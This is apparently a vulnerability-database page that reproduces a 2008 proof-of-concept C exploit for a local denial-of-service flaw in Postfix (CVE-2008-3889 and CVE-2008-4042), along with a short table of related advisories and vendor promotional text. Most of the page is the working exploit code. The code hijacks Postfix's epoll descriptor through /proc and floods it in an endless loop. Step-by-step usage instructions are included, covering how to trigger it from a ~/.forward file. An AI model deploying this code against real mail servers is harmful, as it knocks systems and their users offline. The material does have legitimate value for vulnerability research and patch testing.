| Reporter | Title | Published | Views | Family All 44 |
|---|---|---|---|---|
| Postfix < 2.4.9, 2.5.5, 2.6-20080902 (.forward) Local DoS Exploit | 16 Sep 200800:00 | – | zdt | |
| CVE-2008-4042 | 16 Sep 200800:00 | – | circl | |
| CVE-2008-3889 | 12 Sep 200816:00 | – | cve | |
| CVE-2008-4042 | 11 Sep 200814:00 | – | cve | |
| CVE-2008-3889 | 12 Sep 200816:00 | – | cvelist | |
| CVE-2008-4042 | 11 Sep 200814:00 | – | cvelist | |
| CVE-2008-3889 | 12 Sep 200816:00 | – | debiancve | |
| EUVD-2008-3875 | 7 Oct 202500:30 | – | euvd | |
| Postfix 2.4.92.5.52.6-20080902 - .forward Local Denial of Service | 16 Sep 200800:00 | – | exploitpack | |
| [SECURITY] Fedora 8 Update: postfix-2.5.5-1.fc8 | 9 Oct 200821:31 | – | fedora |
/*
* http://www.wekk.net/research/CVE-2008-4042/CVE-2008-4042-exploit.c
* http://www.wekk.net/research/CVE-2008-3889/CVE-2008-3889-exploit.c
*
* Exploit for Postfix 2.4 before 2.4.9, 2.5 before 2.5.5, and 2.6
* before 2.6-20080902, when used with the Linux 2.6 kernel.
*
* CVE-2008-3889 & CVE-2008-4042
*
* by Albert Sellarès <whats[at]wekk[dot]net> - http://www.wekk.net
* and Marc Morata Fité <marc.morata.fite[at]gmail[dot]com>
* 2008-09-16
*
* This Proof of concept creates a pipe and adds it in the postfix's epoll
* file descriptor.
* When the pipe is added, an endless loop will launch lots of events to the
* local and master postfix processes.
* This will slowdown de system a lot.
*
* An example of use:
* 1- Put the content "| ~/CVE-2008-3889-exploit >> /tmp/postfix.log &" (with
* the double quotes)
* in the file ~/.forward
*
* 2- Put the CVE-2008-4042-exploit in your home
* gcc CVE-2008-3889-exploit.c -o CVE-2008-3889-exploit
*
* 3- Send and email to the user
*
* You can see the output at /tmp/postfix.log
*/
#include <sys/epoll.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dirent.h>
#include <errno.h>
#define FDOPEN 200
void add_fd(int fde, int fd) {
printf("[*] Adding fd %d to eventpoll %d\n", fd, fde);
static struct epoll_event ev;
ev.events = EPOLLIN|EPOLLOUT|EPOLLPRI|EPOLLERR|EPOLLHUP|EPOLLET;
errno =0;
// If this is a socket fd, the load is high
ev.data.u32 = 6;
ev.data.u64 = 6;
if (epoll_ctl(fde, EPOLL_CTL_ADD, fd, &ev) == 0) {
printf(" => Fd %d added!\n", fd);
} else {
printf(" => Error (%d) adding fd %d\n", errno, fd);
}
}
int main(int argc, char *argv[]) {
int fds[2];
char dir[32], c;
int i, found = 0;
pipe(fds);
sprintf(dir, "/proc/%d/fd", getpid());
printf("[*] Opening directory %s\n", dir);
DIR *fd_dir = opendir(dir);
struct dirent *de = readdir(fd_dir);
// We are looking for the eventpoll file descriptor
while (de != NULL) {
char link_d[256];
char link_f[256];
memset(link_d, 0, 256);
sprintf(link_f, "%s/%s", dir, de->d_name);
readlink(link_f, link_d, 256);
if ( strstr(link_d, "eventpoll") ) {
found = 1;
printf(" => %s points to %s\n", de->d_name, link_d);
add_fd(atoi(de->d_name), fds[0]);
// We can test with more than one triggered event at once
for (i = 0; i<FDOPEN; i++)
add_fd(atoi(de->d_name),dup(fds[0]));
}
de = readdir(fd_dir);
}
closedir(fd_dir);
if (found == 0) {
printf("[!] Are you sure that your postfix is vulnerable?\n");
printf("[!] Are you launching me throw a .forward file?\n");
exit(0);
}
printf("[*] Starting to flood the system!\n");
fflush(stdout);
close(0);
close(1);
close(2);
// This triggers the events
while (1) {
write(fds[1], "A",1);
read(fds[0],&c, 1);
}
return 0;
}
// milw0rm.com [2008-09-16]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation